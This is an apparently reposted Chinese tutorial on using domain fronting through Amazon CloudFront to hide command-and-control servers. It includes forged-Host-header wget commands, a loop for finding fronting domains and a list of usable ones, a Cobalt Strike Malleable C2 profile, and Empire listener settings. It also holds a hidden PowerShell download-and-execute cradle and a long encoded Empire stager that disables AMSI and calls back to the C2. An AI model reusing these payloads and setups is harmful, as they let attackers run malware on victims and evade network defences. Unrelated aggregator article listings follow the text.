【基础篇】————22、隐匿攻击之Domain Fronting

2023-10-07 04:20

本文主要是介绍【基础篇】————22、隐匿攻击之Domain Fronting,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x01 简介

最近看到了一些关于Domain Fronting的技术,感觉很有意思,其特点在于,你真正访问的域名并不是你看到的域名,即可以隐藏攻击者的真实地址,并且此技术能够让我们在一些受限制的网络中依然连接到我们的C2服务器,其关键思想是在不同的通信层使用不同的域名,在HTTP(S)请求中,目标域名通常显示在三个关键位置:DNS查询,TLS(SNI)拓展及HTTP主机头中,通常,这三个地方都会是我们要访问的域名地址,然而,在”Domain Fronting”请求中,DNS查询以及SNI携带了一个域名(前域),而在HTTP host头中携带了另一个域名(隐蔽的,被禁止访问的域名),简单的图例如下:

通常检查器不能阻止DNS及SNI中请求的内容,而HOST头对检查器不可见,但对接收HTTP(S)请求的前端服务器可见,而前端服务器,在内部请求HTTP头中的Host的地址,进而达到隐蔽目的地的目的。关于Domain Fronting 这里有一篇文章有详细的介绍《Blocking-resistant communication through domain fronting》。本文就不在详细介绍了。感觉这个技术很有趣,所以就对此技术进行了一下研究与学习,并写此文进行分享。

0x02 情形

渗透测试过程中,我们会遇到这种情形,即网络中部署了很多防御方案,比如防火墙开启IDP,IPS,IDS等,这些方案可用于限制网络出站规则,例如,仅仅允许TCP 80及443通过代理离开网络,并且还会有许多设备在应用层来检查这个流量,如果检测到恶意的Payload,则进行拦截并报警。绕过这些解决方案一直是入侵者与防御者之间的博弈,防御者努力的想怎么拦,而入侵者在努力的想怎么绕。因此也有了很多很多的攻击技术,比如DNS隧道,ICMP隧道等等。最近有一篇文章《Doodles, stickers, and censorship circumvention for Signal Android》介绍了通过Domain Fronting来绕过信号限制的方式,在此文中指出“许多流行的服务和CDN(如Google,Amazon Cloudfront,Amazon S3,Azure,CloudFlare,Fastly和Akamai)可以以一种方式获取信号,这种方式看起来与其他未经审查的流量不可辨别。因此,我们也可以通过此技术来绕过一些过滤规则。

0x03 示例

这里我们使用Amazon’s CloudFront作为一个演示,CloudFront是一种内容交付网络服务。它为用户提供了一个全局分布式缓存,用于托管在其服务器上的文件。这减少了客户服务器上的负载,并允许CDN提供来自与请求者数据中心的缓存内容,当客户端连接到CloudFront的时候,其根据HOST头来判断客户端想要请求的域名,首先在Amazon’s CloudFront注册账号,之后按以下步骤建立自己的CloudFront:
一、选择服务,CloudFront

二、新建节点

三、配置节点

填入自己的域名,并把Origin Protocol Policy配置为Match Viewer

修改箭头几处值

其他默认,点击创建。成功如下图:

evi1cg.me为指向测试C2服务器的域名,下面使用wget来进行测试。

wget -U demo -q -O - https://evi1cg.github.io/foo.txt
hello  there !

d289wv3b5uz3me.cloudfront.net为我的CloudFront,对这个域名的访问可访问到evi1cg.me的IP。

wget -U demo -q -O - http://d289wv3b5uz3me.cloudfront.net/foo.txt
hello  there !

如下图:

现在我们来伪造主机头来试试看。这里使用a0.awsstatic.com,此域名来自于这里。
直接访问不会范围任何东西:

wget -U demo -q -O - http://a0.awsstatic.com/foo.txt

修改Host头,伪造Host为我们创建的CloudFront所分发的FQDN,这样就返回了我们要访问的文件:

wget -U demo -q -O - http://a0.awsstatic.com/foo.txt --header "Host: d289wv3b5uz3me.cloudfront.net"

如下图:

这样我们就可以使用高信誉域名来代替我们自己的域名了。

那么如何寻找类似于a0.awsstatic.com这样的高信誉域名呢,这里可以使用这个简单的命令来寻找:

for i in {a..z}; do for j in {0..9}; do wget -U demo -q -O - http://$i$j.awsstatic.com/foo.txt --header "Host: d289wv3b5uz3me.cloudfront.net" && echo $i$j; done;done

如下图:

当然这里还可以写一个脚本来从热门网站列表中寻找可以使用的CDN子域,关于这个可以参考这个文章Domain Fronting Via Cloudfront Alternate Domains。

下面分享几个可用的域名:

cdn.az.gov,cdn.zendesk.com,cdn.atlassian.com,a1.awsstatic.com,f0.awsstatic.com

0x04 应用

1.Cobalt Strike

大家都知道,Cobalt Strike可以通过Malleable C2 profile来修改becon的传输方式,那么在这里,我们也可以通过这个来进行重定向。所以要修改的就是在文件中修改header的Host指向我们的节点。比如:

http-get {client {header "Host" "[your distribution].cloudfront.net";

这里要注意的是http-get与http-post都要修改
一个修改好的webbug.profile如下:

# make our C2 look like a Google Web Bug
# https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
#
# Author: @armitagehackerhttp-get {set uri "/__utm.gif";client {parameter "utmac" "UA-2202604-2";parameter "utmcn" "1";parameter "utmcs" "ISO-8859-1";parameter "utmsr" "1280x1024";parameter "utmsc" "32-bit";parameter "utmul" "en-US";header "Host" "d289wv3b5uz3me.cloudfront.net";metadata {netbios;prepend "__utma";parameter "utmcc";}}server {header "Content-Type" "image/gif";output {# hexdump pixel.gif# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00# 0000020 01 00 01 00 00 02 01 44 00 3b prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";print;}}
}http-post {set uri "/___utm.gif";client {header "Content-Type" "application/octet-stream";id {prepend "UA-220";append "-2";parameter "utmac";}parameter "utmcn" "1";parameter "utmcs" "ISO-8859-1";parameter "utmsr" "1280x1024";parameter "utmsc" "32-bit";parameter "utmul" "en-US";header "Host" "d289wv3b5uz3me.cloudfront.net";output {print;}}server {header "Content-Type" "image/gif";output {prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";print;}}
}# dress up the staging process too
http-stager {server {header "Content-Type" "image/gif";}
}

使用c2lint 来测试:

./c2lint Malleable-C2-Profiles/normal/webbug.profile

可以看到host已经改成了我们的节点地址。
之后启动teamserver:

cobal  sudo ./teamserver [your ip] hacktest webbug.profile

之后连接到teamserver。
创建监听:

注意host填的地址。并且要注意端口一定要是80。之后再填入我们找的那些高信誉域名地址,比如cdn.az.gov,当然可以填入多个,以,隔开即可:

使用web Delivery进行测试:

生成Posershell命令如下:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://d289wv3b5uz3me.cloudfront.net:80/a'))"

客户端运行以后成功上线:

使用wireshark查看流量:

可以看到流量里面并没有我们的真实域名而只有我们的节点地址,而解析的DNS地址是高信誉域名的地址。

如果想使用HTTPS,可以参考使用HTTPS beacon,及这个视频。本文就不做介绍了。

2.Empire

使用Empire2.0(之所以使用2.0,是因为2.0可以自定义http头信息,只需要使用”|” 隔开即可),需要对Listener进行重新配置。具体设置如下:

(Empire: listeners) > uselistener http
(Empire: listeners/http) >
(Empire: listeners/http) > set Host http://cdn.az.gov:80
(Empire: listeners/http) > set DefaultProfile /admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (WindowsNT 6.1; WOW64; Trident/7.0;rv:11.0) like Gecko | Host:d289wv3b5uz3me.cloudfront.net
(Empire: listeners/http) > execute
[*] Starting listener 'http'
[+] Listener successfully started!

特别注意DefaultProfile后面添加了Host,并且使用端口为80!

配置后结果如下:

之后开启监听,并配置stager

(Empire: listeners) > usestager multi/launcher
(Empire: stager/multi/launcher) > set Listener http
(Empire: stager/multi/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBSAEUAZgBdAC4AQQBTAFMARQBNAGIAbABZAC4ARwBlAFQAVABZAFAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkAZQBMAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAQQBMAFUARQAoACQATgBVAGwATAAsACQAVAByAFUARQApAH0AOwBbAFMAeQBTAHQAZQBtAC4ATgBFAHQALgBTAGUAUgB2AGkAYwBlAFAATwBpAE4AVABNAGEAbgBhAEcAZQByAF0AOgA6AEUAWABwAGUAQwB0ADEAMAAwAEMAbwBOAHQASQBOAFUAZQA9ADAAOwAkAHcAQwA9AE4ARQBXAC0ATwBCAEoARQBDAHQAIABTAHkAUwBUAEUATQAuAE4AZQBUAC4AVwBFAEIAQwBMAEkARQBOAHQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwBOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAEgARQBBAEQARQBSAFMALgBBAEQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBvAHgAWQA9AFsAUwBZAHMAVABFAG0ALgBOAGUAdAAuAFcARQBiAFIARQBxAFUAZQBTAFQAXQA6ADoARABlAEYAYQB1AEwAdABXAEUAQgBQAHIAbwBYAHkAOwAkAHcAYwAuAFAAUgBvAHgAeQAuAEMAUgBlAEQARQBOAHQAaQBhAEwAcwAgAD0AIABbAFMAWQBzAHQARQBtAC4ATgBlAFQALgBDAHIAZQBEAGUAbgBUAEkAQQBsAEMAQQBjAGgAZQBdADoAOgBEAEUARgBhAFUAbAB0AE4ARQBUAHcATwByAGsAQwByAGUAZABlAG4AVABJAGEAbABTADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQBYAFQALgBFAG4AQwBvAGQASQBuAEcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAHQAQgB5AHQARQBzACgAJwBlADEAMABhAGQAYwAzADkANAA5AGIAYQA1ADkAYQBiAGIAZQA1ADYAZQAwADUANwBmADIAMABmADgAOAAzAGUAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAUgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AQgB4AE8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AEMALgBIAEUAQQBEAGUAcgBzAC4AQQBkAGQAKAAiAEgAbwBzAHQAIgAsACIAZAAyADgAOQB3AHYAMwBiADUAdQB6ADMAbQBlAC4AYwBsAG8AdQBkAGYAcgBvAG4AdAAuAG4AZQB0ACIAKQA7ACQAVwBjAC4ASABFAEEAZABFAHIAUwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AUgBTAHoAKwB5AEQAUABVAFEAcgBwAGwAVQBNAGQAbABKAEIAKwBVAEoAZwBEAHAAagB1AHcAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAGMAZABuAC4AYQB6AC4AZwBvAHYAOgA4ADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AYQBzAHAAJwA7ACQAZABBAHQAYQA9ACQAVwBDAC4ARABPAFcATgBsAG8AYQBEAEQAYQB0AEEAKAAkAHMARQByACsAJABUACkAOwAkAGkAVgA9ACQAZABBAHQAQQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQARABBAHQAQQBbADQALgAuACQARABBAFQAYQAuAEwARQBuAGcAdABIAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQBSAFsAXQBdACgAJgAgACQAUgAgACQARABhAFQAQQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA

执行过程如下:

其DNS查询结果为:

开启的网络连接为:

0x05 小结

使用此技巧可以有效地隐藏自己的真实地址,并且可以在一定程度上绕过某些防护,在渗透测试中应该是一个很不错的技术,希望此文对你有所帮助。

0x06 参考

1、https://www.optiv.com/blog/escape-and-evasion-egressing-restricted-networks
2、https://www.bamsoftware.com/papers/fronting/
3、https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/
4、https://www.xorrior.com/Empire-Domain-Fronting/

转载:https://evi1cg.me/archives/Domain_Fronting.html

这篇关于【基础篇】————22、隐匿攻击之Domain Fronting的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/155984

相关文章

从基础到高级详解Python数值格式化输出的完全指南

《从基础到高级详解Python数值格式化输出的完全指南》在数据分析、金融计算和科学报告领域,数值格式化是提升可读性和专业性的关键技术,本文将深入解析Python中数值格式化输出的相关方法,感兴趣的小伙... 目录引言:数值格式化的核心价值一、基础格式化方法1.1 三种核心格式化方式对比1.2 基础格式化示例

redis-sentinel基础概念及部署流程

《redis-sentinel基础概念及部署流程》RedisSentinel是Redis的高可用解决方案,通过监控主从节点、自动故障转移、通知机制及配置提供,实现集群故障恢复与服务持续可用,核心组件包... 目录一. 引言二. 核心功能三. 核心组件四. 故障转移流程五. 服务部署六. sentinel部署

从基础到进阶详解Python条件判断的实用指南

《从基础到进阶详解Python条件判断的实用指南》本文将通过15个实战案例,带你大家掌握条件判断的核心技巧,并从基础语法到高级应用一网打尽,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一... 目录​引言:条件判断为何如此重要一、基础语法:三行代码构建决策系统二、多条件分支:elif的魔法三、

Python WebSockets 库从基础到实战使用举例

《PythonWebSockets库从基础到实战使用举例》WebSocket是一种全双工、持久化的网络通信协议,适用于需要低延迟的应用,如实时聊天、股票行情推送、在线协作、多人游戏等,本文给大家介... 目录1. 引言2. 为什么使用 WebSocket?3. 安装 WebSockets 库4. 使用 We

从基础到高阶详解Python多态实战应用指南

《从基础到高阶详解Python多态实战应用指南》这篇文章主要从基础到高阶为大家详细介绍Python中多态的相关应用与技巧,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录一、多态的本质:python的“鸭子类型”哲学二、多态的三大实战场景场景1:数据处理管道——统一处理不同数据格式

MySQL数据类型与表操作全指南( 从基础到高级实践)

《MySQL数据类型与表操作全指南(从基础到高级实践)》本文详解MySQL数据类型分类(数值、日期/时间、字符串)及表操作(创建、修改、维护),涵盖优化技巧如数据类型选择、备份、分区,强调规范设计与... 目录mysql数据类型详解数值类型日期时间类型字符串类型表操作全解析创建表修改表结构添加列修改列删除列

Python 函数详解:从基础语法到高级使用技巧

《Python函数详解:从基础语法到高级使用技巧》本文基于实例代码,全面讲解Python函数的定义、参数传递、变量作用域及类型标注等知识点,帮助初学者快速掌握函数的使用技巧,感兴趣的朋友跟随小编一起... 目录一、函数的基本概念与作用二、函数的定义与调用1. 无参函数2. 带参函数3. 带返回值的函数4.

python panda库从基础到高级操作分析

《pythonpanda库从基础到高级操作分析》本文介绍了Pandas库的核心功能,包括处理结构化数据的Series和DataFrame数据结构,数据读取、清洗、分组聚合、合并、时间序列分析及大数据... 目录1. Pandas 概述2. 基本操作:数据读取与查看3. 索引操作:精准定位数据4. Group

从基础到进阶详解Pandas时间数据处理指南

《从基础到进阶详解Pandas时间数据处理指南》Pandas构建了完整的时间数据处理生态,核心由四个基础类构成,Timestamp,DatetimeIndex,Period和Timedelta,下面我... 目录1. 时间数据类型与基础操作1.1 核心时间对象体系1.2 时间数据生成技巧2. 时间索引与数据

安装centos8设置基础软件仓库时出错的解决方案

《安装centos8设置基础软件仓库时出错的解决方案》:本文主要介绍安装centos8设置基础软件仓库时出错的解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录安装Centos8设置基础软件仓库时出错版本 8版本 8.2.200android4版本 javas